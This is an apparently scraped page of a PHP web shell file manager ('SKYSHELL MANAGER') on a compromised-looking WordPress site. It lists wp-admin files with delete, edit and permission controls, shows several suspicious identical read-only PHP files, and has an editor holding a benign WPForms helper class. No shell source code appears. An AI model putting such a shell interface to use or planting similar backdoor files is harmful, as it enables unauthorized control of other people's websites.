📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: File.php
<?php namespace WPForms\Helpers; use WP_Filesystem_Base; // phpcs:ignore WPForms.PHP.UseStatement.UnusedUseStatement /** * Class File. * * @since 1.6.5 */ class File { /** * Remove UTF-8 BOM signature if it presents. * * @since 1.6.5 * * @param string $str String to process. * * @return string */ public static function remove_utf8_bom( $str ): string { if ( strpos( bin2hex( $str ), 'efbbbf' ) === 0 ) { $str = substr( $str, 3 ); } return $str; } /** * Get current filesystem. * * @since 1.8.6 * * @return WP_Filesystem_Base|null */ public static function get_filesystem() { global $wp_filesystem; // We have to start the buffer to prevent output // when the file system is ssh/FTP but not configured. ob_start(); if ( ! function_exists( 'request_filesystem_credentials' ) ) { require_once ABSPATH . 'wp-admin/includes/file.php'; } // The current page URL. $url = home_url( esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ?? '' ) ) ); $credentials = request_filesystem_credentials( $url, '', false, false ); ob_end_clean(); if ( $credentials === false || ! WP_Filesystem( $credentials ) ) { wpforms_log( 'WP_Filesystem Error', 'File system isn\'t configured.', [ 'type' => [ 'error' ] ] ); return null; } return $wp_filesystem; } /** * Get file contents. * * @since 1.8.6 * * @param string $file File path. * * @return string|false */ public static function get_contents( $file ) { $filesystem = self::get_filesystem(); if ( ! $filesystem || ! $filesystem->is_readable( $file ) || $filesystem->is_dir( $file ) ) { return false; } return $filesystem->size( $file ) > 0 ? $filesystem->get_contents( $file ) : ''; } /** * Save file contents. * * @since 1.8.6 * * @param string $file File path. * @param string $content File content. * * @return bool */ public static function put_contents( $file, $content ): bool { $filesystem = self::get_filesystem(); if ( ! $filesystem ) { return false; } return $filesystem->put_contents( $file, $content ); } /** * Get cache directory path. * * @since 1.8.6 * * @return string */ public static function get_cache_dir(): string { static $cache_dir; if ( $cache_dir ) { /** * Since wpforms_upload_dir() relies on hooks, and hooks can be added unpredictably, * we need to cache the result of this method. * Otherwise, it is the risk to save cache file to one dir and try to get from another. */ return $cache_dir; } $upload_dir = wpforms_upload_dir(); $upload_path = ! empty( $upload_dir['path'] ) ? trailingslashit( wp_normalize_path( $upload_dir['path'] ) ) : trailingslashit( WP_CONTENT_DIR ) . 'uploads/wpforms/'; $cache_dir = $upload_path . 'cache/'; return $cache_dir; } }
Save